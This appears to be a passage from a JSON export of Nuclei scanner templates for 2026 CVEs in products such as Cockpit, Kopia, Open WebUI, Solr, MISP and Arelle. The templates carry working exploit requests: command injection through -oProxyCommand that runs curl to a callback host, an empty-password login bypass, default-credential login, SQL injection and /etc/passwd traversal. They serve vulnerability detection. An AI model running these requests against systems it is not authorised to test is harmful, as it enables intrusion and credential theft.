CWE-78\n    cpe: cpe:2.3:a:cockpit-project:cockpit:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: cockpit-project\n    product: cockpit\n    shodan-query: title:\"Cockpit\"\n    fofa-query: title=\"Cockpit\"\n  tags: cve,cve2026,cockpit,rce,unauthenticated,vkev\n\nflow: http(1) && http(2)\n\nvariables:\n  filename: \"{{to_lower(rand_text_alpha(5))}}\"\n\nhttp:\n  - raw:\n      - |\n        GET /cockpit+=-oProxyCommand=echo%20CVE-2026-4631%20%3E%20%2Fusr%2Fshare%2Fcockpit%2Fstatic%2F{{filename}}.txt%20%23/login HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Basic Og==\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 401'\n          - 'contains(body, \"authentication-failed\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /cockpit/static/{{filename}}.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"CVE-2026-4631\")'\n        condition: and\n# digest: 4a0a00473045022100d996777def1162d805cd66386ff801efa222e57b87e02a139717f48ffa822cd902207edcedb4b02ae4a16ddd96630e068f440ec57194c206097bcc7122640ac876a3:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-4631.yaml","vuln_id":"cve-2026-4631"},{"raw":"id: CVE-2026-45695\n\ninfo:\n  name: Kopia Server 0.23.0 - Remote Code Execution\n  author: kenlacroix\n  severity: critical\n  description: |\n    Kopia before version 0.23.0 allows unauthenticated remote code execution when started in server mode with the --without-password flag. When the /api/v1/repo/exists endpoint is exposed, it enables instantiation of the SFTP storage backend with user-supplied sshArguments. Due to improper argument parsing, an attacker may inject arbitrary SSH options such as -oProxyCommand, resulting in execution of arbitrary commands as the server process.\n  impact: |\n    An unauthenticated attacker can execute arbitrary commands as the Kopia server process (often root in a container), leading to full host compromise and access to all managed backup data.\n  remediation: |\n    Upgrade to Kopia 0.23.0 or later, which refuses to bind an unauthenticated server to a non-loopback address. Do not expose the server with --without-password on untrusted networks.\n  reference:\n    - https://github.com/kopia/kopia/security/advisories/GHSA-2q4c-3mrw-63c3\n    - https://github.com/kopia/kopia/pull/5354\n    - https://orca.security/resources/blog/kopia-backup-rce-vulnerability/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-45695\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-45695\n    epss-score: 0.0161\n    epss-percentile: 0.76013\n    cwe-id: CWE-88\n  metadata:\n    max-request: 1\n    vendor: kopia\n    product: kopia\n    shodan-query: http.favicon.hash:952466528\n    fofa-query: icon_hash==\"952466528\"\n  tags: cve,cve2026,kopia,rce,ssh,injection,sftp,intrusive,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/repo/exists HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"storage\":{\"type\":\"sftp\",\"config\":{\"path\":\"/{{rand_base(6)}}\",\"host\":\"127.0.0.1\",\"port\":22,\"username\":\"{{rand_base(6)}}\",\"externalSSH\":true,\"sshArguments\":\"-oProxyCommand=curl${IFS}{{interactsh-url}}\"}}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'unable to open SFTP storage'\n          - 'error\":'\n        condition: and\n\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - 'User-Agent: curl'\n# digest: 490a0046304402207c0946ad745e0df707d92a432f98ef024dbe983de832e50f2f58e639a60d184702204d94a45d95bde1a420ba9f10641f2fe3481dfbc3c5aa486c7684325bd31d10b5:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-45695.yaml","vuln_id":"cve-2026-45695"},{"raw":"id: CVE-2026-45397\n\ninfo:\n  name: Open WebUI < 0.9.5 - Information Disclosure\n  author: 0x_Akoko\n  severity: medium\n  description: |\n    Open WebUI < 0.9.5 contains an information disclosure vulnerability caused by unauthenticated access to GET /api/v1/retrieval/ endpoint, letting remote attackers retrieve live RAG pipeline configuration without authorization, exploit requires no authentication.\n  impact: |\n    Remote attackers can access sensitive configuration data without authentication, potentially aiding further attacks.\n  remediation: |\n    Update to version 0.9.5 or later.\n  reference:\n    - https://github.com/open-webui/open-webui/security/advisories/GHSA-65pg-qhhw-mxwg\n    - https://github.com/open-webui/open-webui\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-45397\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cwe-id: CWE-862\n    cve-id: CVE-2026-45397\n    epss-score: 0.0075\n    epss-percentile: 0.55073\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: openwebui\n    product: open-webui\n    shodan-query: title:\"Open WebUI\"\n    fofa-query: title=\"Open WebUI\"\n  tags: cve,cve2026,open-webui,exposure,misconfig\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/v1/retrieval/\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"CHUNK_SIZE\", \"RAG_EMBEDDING_MODEL\", \"RAG_TEMPLATE\")'\n          - 'contains(content_type, \"application/json\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a00473045022100d463756e768d64c470d327ce481c343f45334587d7bcf2254c1cc452b747a9de02204fc076d29b4c97f74c794c34bdee89f39c07937bf9b7bee053eebc51678991bd:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-45397.yaml","vuln_id":"cve-2026-45397"},{"raw":"id: CVE-2026-45332\n\ninfo:\n  name: Automad < 2.0.0-beta.28 - Unauthenticated Admin Password Hash Disclosure\n  author: str4k3r\n  severity: high\n  description: |\n    Automad 2.0.0-alpha.1 to 2.0.0-beta.27 contains a broken access control vulnerability caused by publicly accessible /_api/user-collection/create-first-user endpoint returning full serialized user data, letting unauthenticated attackers retrieve bcrypt password hashes of all administrator accounts, exploit requires the endpoint to remain publicly accessible after initial setup.\n  impact: |\n    Unauthenticated attackers can retrieve bcrypt password hashes of all administrator accounts, risking credential compromise and full system takeover.\n  remediation: |\n    Upgrade to version 2.0.0-beta.28 or later.\n  reference:\n    - https://github.com/marcantondahmen/automad/security/advisories/GHSA-xm76-r88j-vm3g\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-45332\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-45332\n    epss-score: 0.01417\n    epss-percentile: 0.7285\n    cwe-id: CWE-200\n  metadata:\n    verified: true\n    max-request: 2\n    product: automad\n    vendor: marcantondahmen\n  tags: cve,cve2026,automad,exposure,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /dashboard/login HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: csrf_token\n        part: body\n        group: 1\n        internal: true\n        regex:\n          - 'name=\"csrf\" content=\"([a-f0-9]+)\"'\n\n  - raw:\n      - |\n        POST /_api/user-collection/create-first-user HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        __csrf__={{csrf_token}}&username=nuclei_check&password1=Nuclei-Check-Pw1!&password2=Nuclei-Check-Pw1!&email=nuclei-check%40example.local\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'passwordHash'\n          - 'accounts.php'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100b2c053d1122dfcb5e73f56467dc20c86bc0fe13beeb4da5b4fbe66f48a59fc23022100c44cc7b87ccc0710ecdc5f2a1bdaedbc166e247c1675343151a62177458780de:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-45332.yaml","vuln_id":"cve-2026-45332"},{"raw":"id: CVE-2026-45298\n\ninfo:\n  name: Dozzle - Server Side Request Forgery\n  author: theamanrawat\n  severity: high\n  description: |\n    Dozzle prior to 10.5.2 contains a server-side request forgery caused by unauthenticated access to POST /api/notifications/test-webhook forwarding attacker-controlled URLs, letting remote attackers send arbitrary HTTP POST requests and receive response data, exploit requires no authentication.\n  impact: |\n    Remote attackers can send arbitrary HTTP POST requests and retrieve response data, potentially exposing internal services or sensitive information.\n  remediation: |\n    Update to version 10.5.2 or later.\n  reference:\n    - https://github.com/amir20/dozzle/security/advisories/GHSA-3v9w-6365-9w54\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-45298\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 8.6\n    cve-id: CVE-2026-45298\n    epss-score: 0.01491\n    epss-percentile: 0.74184\n    cwe-id: CWE-918\n  metadata:\n    verified: true\n    max-request: 1\n  tags: cve,cve2026,ssrf,dozzle,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /api/notifications/test-webhook HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"url\":\"http://{{interactsh-url}}\",\"headers\":{}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - 'http'\n\n      - type: word\n        part: body\n        words:\n          - '\"statusCode\":200'\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402204b89142ea760946356f0526ffb9a3d2b4526d75f0be1d5d6b7671be06f665a3a02207d619fd9bb43a7437919a75b408c13d9d4cff4d5a5e1a24ee61a36d4b1da38f2:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-45298.yaml","vuln_id":"cve-2026-45298"},{"raw":"id: CVE-2026-44825\n\ninfo:\n  name: Apache Solr 9.4.0-9.10.1 / 10.0.0 - Hardcoded Default Credentials\n  author: pdteam,0x_Akoko\n  severity: high\n  description: |\n    Apache Solr 9.4.0 through 9.10.1 and 10.0.0 contain a hardcoded credentials vulnerability caused by default Basic Authentication template users in bin/solr auth enable, letting remote attackers gain full administrative access. Exploit requires use of default template users.\n  impact: |\n    Remote attackers can gain full administrative access to the cluster using default credentials.\n  remediation: |\n    Upgrade to versions 9.11.0, 10.1.0 or later; alternatively, delete template users or change their passwords in security.json.\n  reference:\n    - https://lists.apache.org/thread/5xg6xr99glocp3zsg9ht2zlbwlrst7ch\n    - http://www.openwall.com/lists/oss-security/2026/05/29/6\n    - https://github.com/shinthink/solrradar\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-44825\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.1\n    cve-id: CVE-2026-44825\n    epss-score: 0.03922\n    epss-percentile: 0.90374\n    cwe-id: CWE-798\n  metadata:\n    verified: true\n    max-request: 6\n    shodan-query: product:\"Apache Solr\" port:8983\n    fofa-query: app=\"Apache-Solr\" || title=\"Solr Admin\"\n  tags: cve,cve2026,apache,solr,default-login,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET /solr/admin/info/system?wt=json HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - '(status_code == 200 && contains_any(body, \"solr-spec-version\", \"lucene\", \"solrHome\")) || ((status_code == 401 || status_code == 403) && contains_any(to_lower(header), \"solr\", \"basic\"))'\n        internal: true\n\n  - raw:\n      - |\n        GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 401 || status_code == 403'\n        internal: true\n\n  - raw:\n      - |\n        GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Basic {{auth}}\n\n    payloads:\n\n      username:\n        - solr\n        - admin\n        - search\n        - index\n\n      auth:\n        - c29scjpTb2xyUm9ja3M=\n        - YWRtaW46U29sclJvY2tz\n        - c2VhcmNoOlNvbHJSb2Nrcw==\n        - aW5kZXg6U29sclJvY2tz\n\n    attack: pitchfork\n\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"responseHeader\", \"status\")'\n          - '!contains(body, \"Authentication\")'\n        condition: and\n\n    extractors:\n      - type: dsl\n        dsl:\n          - username\n\n      - type: regex\n        group: 1\n        regex:\n          - '\"name\"\\s*:\\s*\"([a-zA-Z0-9_-]+)\"'\n# digest: 4a0a00473045022100f2ca29755014cf6f4fc22cf0316259d537969ec97439695de1ba8fb9dc1654f8022070362f2d1b1aef81bb8c73b376877125131da22f57695a56ea4198f7a2f8a1a1:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-44825.yaml","vuln_id":"cve-2026-44825"},{"raw":"id: CVE-2026-44551\n\ninfo:\n  name: Open WebUI 'LDAP Empty Password' - Authentication Bypass\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the LDAP authentication endpoint does not validate that the submitted password is non-empty before performing a Simple Bind against the LDAP server. The LdapForm Pydantic model accepts password: str with no minimum length constraint, so an empty string passes validation. The subsequent Connection.bind() call succeeds on vulnerable LDAP servers, and the application issues a full session token for the target user. This vulnerability is fixed in 0.9.0.\n  impact: |\n    Attackers can authenticate without a password and obtain full session tokens, leading to unauthorized access.\n  remediation: |\n    Update to version 0.9.0 or later.\n  reference:\n    - https://github.com/open-webui/open-webui/security/advisories/GHSA-2r4p-jpmg-48f4\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-44551\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.1\n    cve-id: CVE-2026-44551\n    epss-score: 0.01461\n    epss-percentile: 0.73659\n    cwe-id: CWE-287\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: http.title:\"Open WebUI\"\n  tags: cve,cve2026,open-webui,ldap,auth-bypass\n\nvariables:\n  username: \"{{username}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/auths/ldap HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"user\":\"{{username}}\",\"password\":\"\"}\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"token_type\":'\n          - '{\"id\":'\n          - '\"name\":'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - '\"token\":\"([^\"]+)\"'\n# digest: 4b0a00483046022100f32d405c8ef755efd5d9af5e4cca65e0ed17c3d79d1a78ca29ee71f2b7da5621022100bb10bb2de1fcf4f3ac1ca23fbffa4a1bc6f607ab5a8fe33b33429c2aff410483:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-44551.yaml","vuln_id":"cve-2026-44551"},{"raw":"id: CVE-2026-44381\n\ninfo:\n  name: MISP < 2.5.37 - SQL Injection\n  author: malcha\n  severity: medium\n  description: |\n    MISP before 2.5.37 is vulnerable to SQL injection via the order parameter in EventsController. The POST body order value is passed directly into ORDER BY clauses without validation.\n  impact: |\n    Attackers can manipulate SQL queries to access or modify unauthorized data, potentially compromising database integrity and confidentiality.\n  remediation: |\n    Upgrade MISP to version 2.5.37 or later.\n  reference:\n    - https://github.com/MISP/MISP/security/advisories/GHSA-4cxp-22wm-j6jr\n    - https://github.com/MISP/MISP/commit/53fc6be7da1c010ca4696a37c6e27bb699377efa\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-44381\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-44381\n    epss-score: 0.00666\n    epss-percentile: 0.51937\n    cwe-id: CWE-89\n  metadata:\n    max-request: 2\n    verified: true\n    shodan-query: http.title:\"MISP\"\n  tags: cve,cve2026,misp,sqli\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /users/login HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        words:\n          - \"MISP\"\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 30s\n        POST /events/index HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: {{auth_key}}\n        Content-Type: application/json\n\n        {\"order\":\"(SELECT 1 FROM (SELECT(SLEEP(8)))A)\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"duration >= 8\"\n          - \"status_code == 200 || status_code == 500\"\n        condition: and\n# digest: 490a004630440220795b1e20a93f07d9290bb9d5575ad5433bd8719b6d81d560ad999af001c00dc40220716c1cc99d448c49f50f8f42382c0212b5e967a8674334cdd526333ff502dc35:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-44381.yaml","vuln_id":"cve-2026-44381"},{"raw":"id: CVE-2026-44343\n\ninfo:\n  name: WGDashboard < 4.3.2 - Unauthenticated File Read\n  author: str4k3r\n  severity: critical\n  description: |\n    WGDashboard < 4.3.2 contains a path traversal vulnerability caused by improper access control, letting unauthorized attackers access the host file system without authentication.\n  impact: |\n    Unauthorized attackers can access the host file system, potentially exposing sensitive data and compromising the system.\n  remediation: |\n    Update to version 4.3.2 or later.\n  reference:\n    - https://github.com/WGDashboard/WGDashboard/security/advisories/GHSA-rrf5-q4fp-qvgm\n    - https://github.com/WGDashboard/WGDashboard/commit/b15bbce9bc5554ec379d558f032c730db47fcea2\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-44343\n  classification:\n    cve-id: CVE-2026-44343\n    epss-score: 0.01824\n    epss-percentile: 0.78861\n    cwe-id: CWE-22\n    cvss-score: 9.8\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: wgdashboard\n    product: wgdashboard\n    fofa-query: title=\"WGDashboard\"\n  tags: cve,cve2026,wgdashboard,lfi,path-traversal,file-read,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_any(tolower(body), \"wgdashboard\", \"wireguard\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /fileDownload?file=../../../../etc/passwd HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"root:x:0:0:\")'\n        condition: and\n# digest: 490a0046304402205f50d7bec3ba4cad76bf378be31a25f362ece70545d73ac97876e044ff740635022039d88bed860895fe25ab2ac4725c134556e665da4b2ad30df94f9431a205bd6e:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-44343.yaml","vuln_id":"cve-2026-44343"},{"raw":"id: CVE-2026-44338\n\ninfo:\n  name: PraisonAI - Authentication Bypass\n  author: jnoza\n  severity: high\n  description: |\n    PraisonAI 2.5.6 to < 4.6.34 contains a broken authentication caused by disabled default authentication in legacy Flask API server, letting remote attackers access /agents and trigger workflows without token, exploit requires network access to API server.\n  impact: |\n    Remote attackers can access and trigger agent workflows without authentication, potentially leading to unauthorized actions or data exposure.\n  remediation: Upgrade to version 4.6.34 or later.\n  reference:\n    - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6rmh-7xcm-cpxj\n    - https://webflow.sysdig.com/blog/cve-2026-44338-praisonai-authentication-bypass-in-under-4-hours-and-the-growing-trend-of-rapid-exploitation\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n    cvss-score: 7.3\n    cve-id: CVE-2026-44338\n    epss-score: 0.32591\n    epss-percentile: 0.98345\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"PraisonAI\"\n  tags: cve,cve2026,praisonai,auth-bypass,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/agents\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains_all(body, 'agent_file', 'agents')\"\n          - \"contains(header, 'application/json')\"\n        condition: and\n# digest: 4b0a004830460221008da6f46bc5f90f47c6eb2235ec246d103112953ac2305bed82ff7134a3af8c20022100d8c7581f9a73ec81780d5fc454e87fa5097384c6441cf5dacb325f3fc1e49c93:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-44338.yaml","vuln_id":"cve-2026-44338"},{"raw":"id: CVE-2026-44262\n\ninfo:\n  name: Scramble Laravel - Remote Code Execution\n  author: joshuavanderpoll\n  severity: critical\n  description: |\n    Scramble for Laravel >= 0.13.2 and < 0.13.22 contains a remote code execution caused by evaluation of user-controlled input in validation rules during documentation generation, letting remote attackers execute arbitrary PHP code, exploit requires publicly accessible documentation endpoints.\n  impact: |\n    Remote attackers can execute arbitrary PHP code, potentially leading to full application compromise.\n  remediation: |\n    Upgrade to version 0.13.22 or later.\n  reference:\n    - https://github.com/advisories/GHSA-4rm2-28vj-fj39\n    - https://github.com/joshuavanderpoll/CVE-2026-44262\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-44262\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L\n    cvss-score: 9.4\n    cve-id: CVE-2026-44262\n    epss-score: 0.0586\n    epss-percentile: 0.93221\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 2\n  tags: cve,cve2026,laravel,scramble,php,rce\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/docs/api.json\"\n      - \"{{BaseURL}}/docs/api\"\n\n    stop-at-first-match: true\n    extractors:\n      - type: regex\n        name: name\n        part: body\n        group: 1\n        regex:\n          - '\"name\"\\s*:\\s*\"([^\"]+)\"[\\s\\S]{1,600}\"default\"\\s*:\\s*\"[^\"]*\\|[^\"]*\"'\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 30s\n        GET /docs/api.json?{{name}}=sleep(8) HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"duration >= 8\"\n          - \"status_code == 200\"\n        condition: and\n# digest: 4a0a00473045022100ead8776e6ea34495abe265a9262e505a41c2e5226fe35812c181f1a3cc217c03022068c6308a095db7f17bda83bdae62fdbddcbae53c74e7d022118a7f0a603c6f8b:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-44262.yaml","vuln_id":"cve-2026-44262"},{"raw":"id: CVE-2026-44177\n\ninfo:\n  name: Kirby CMS 5.3.0-5.4.0 - Path Traversal\n  author: str4k3r\n  severity: high\n  description: |\n    Kirby CMS versions 5.3.0 through 5.4.0 are vulnerable to a path traversal vulnerability via the /api/auth/login endpoint. An unauthenticated attacker may supply a specially crafted email value in the request body containing traversal sequences (such as \"../..\"), which the application concatenates directly into a filesystem path when hydrating user objects. This can result in the resolution of paths outside the intended accounts directory and may lead to the inclusion of unintended files such as index.php, causing a denial of service by exhausting memory limits. The issue is addressed in version 5.4.1 by properly validating and sanitizing the user-supplied input to prevent directory traversal.\n  impact: |\n    Attackers can include arbitrary PHP files and fingerprint server directories, potentially leading to code execution or information disclosure.\n  remediation: |\n    Update to version 5.4.1 or later.\n  reference:\n    - https://github.com/getkirby/kirby/security/advisories/GHSA-9hx7-c53c-v6x8\n    - https://github.com/getkirby/kirby/releases/tag/5.4.1\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-44177\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N\n    cvss-score: 8.8\n    cve-id: CVE-2026-44177\n    epss-score: 0.0177\n    epss-percentile: 0.78208\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 2\n    product: kirby\n    vendor: getkirby\n    shodan-query: http.favicon.hash:987600836\n    fofa-query: icon_hash=\"987600836\"\n  tags: cve,cve2026,kirby,cms,lfi,traversal\n\nhttp:\n  - raw:\n      - |\n        GET /panel/installation HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: csrf\n        part: body\n        group: 1\n        regex:\n          - '\"csrf\":\"([a-f0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /api/auth/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        X-CSRF: {{csrf}}\n\n        {\"email\":\"../../\",\"password\":\"x\",\"long\":false}\n\n    matchers-condition: or\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"currently offline due to an unexpected error\"\n\n      - type: word\n        part: body\n        words:\n          - \"Allowed memory size of\"\n          - \"bytes exhausted (tried to allocate\"\n        condition: and\n# digest: 4a0a0047304502203b85122580e135ac0a1226e338c1cd0a8a4cb257c99f80ccb8ea0770bf0b375102210094e8518cd747508ed25f63071dbdc66ef73daa42f9fc09b10059e328ccbd0fca:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-44177.yaml","vuln_id":"cve-2026-44177"},{"raw":"id: CVE-2026-42878\n\ninfo:\n  name: FacturaScripts - Unauthenticated phpinfo Disclosure\n  author: ChrisJr404\n  severity: medium\n  description: |\n    Detected FacturaScripts exposes a debug branch in the Installer controller that calls phpinfo() when the request carries the phpinfo=TRUE query parameter, and on an instance that has not finished installation, this endpoint was reachable without authentication.\n  impact: |\n    Remote attackers can access sensitive PHP configuration and environment variables, exposing credentials and secrets.\n  remediation: |\n    Update to version 2026 or later.\n  reference:\n    - https://github.com/advisories/GHSA-vrxf-vrc4-22p7\n    - https://github.com/NeoRazorX/facturascripts/blob/master/Core/Controller/Installer.php\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-42878\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-42878\n    epss-score: 0.00902\n    epss-percentile: 0.59861\n    cwe-id: CWE-200\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: facturascripts\n    product: facturascripts\n    shodan-query: html:\"FacturaScripts installer\"\n    fofa-query: body=\"FacturaScripts installer\"\n  tags: cve,cve2026,facturascripts,phpinfo,exposure,disclosure,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, \\\"FacturaScripts installer\\\")\"\n        condition: and\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?phpinfo=TRUE\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains_all(to_lower(body), \\\"phpinfo()</title>\\\", \\\"php version\\\")\"\n        condition: and\n# digest: 4a0a00473045022100c00b52abbfe90679da4a334d7d98c9af4683f6157a72cf1e0f5963465358f984022027d9cde8635b3fba67d44dd087067c1514104ea1ea20d8c14e7864a95c6e89ed:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-42878.yaml","vuln_id":"cve-2026-42878"},{"raw":"id: CVE-2026-42796\n\ninfo:\n  name: Arelle < 2.39.10 - Remote Code Execution\n  author: aryu-ru\n  severity: critical\n  description: |\n    Arelle before 2.39.10 contains an unauthenticated remote code execution vulnerability in the webserver's /rest/configure endpoint. The plugins query parameter is forwarded to the plugin manager without authentication, allowing an attacker to supply a URL to a remote Python file that Arelle downloads and executes within its process.\n  impact: |\n    Successful exploitation allows an unauthenticated attacker to execute arbitrary Python code with the privileges of the Arelle webserver process, leading to full host compromise.\n  remediation: |\n    Upgrade to Arelle 2.39.10 or later, which rejects remote URL plug-in references over the webserver.\n  reference:\n    - https://www.vulncheck.com/advisories/arelle-unauthenticated-rce-via-rest-configure\n    - https://github.com/Arelle/Arelle/pull/2320\n    - https://github.com/Arelle/Arelle/releases/tag/2.39.10\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-42796\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-42796\n    epss-score: 0.02747\n    epss-percentile: 0.86239\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: arelle\n    product: arelle\n    shodan-query: http.html:\"Arelle Web Services\"\n  tags: cve,cve2026,arelle,rce,oast,unauth,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/rest/configure?plugins=http://{{interactsh-url}}/{{randstr}}.py\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        part: body\n        words:\n          - \"Configuration Request\"\n\n      - type: status\n        status:\n          - 200\n# digest: 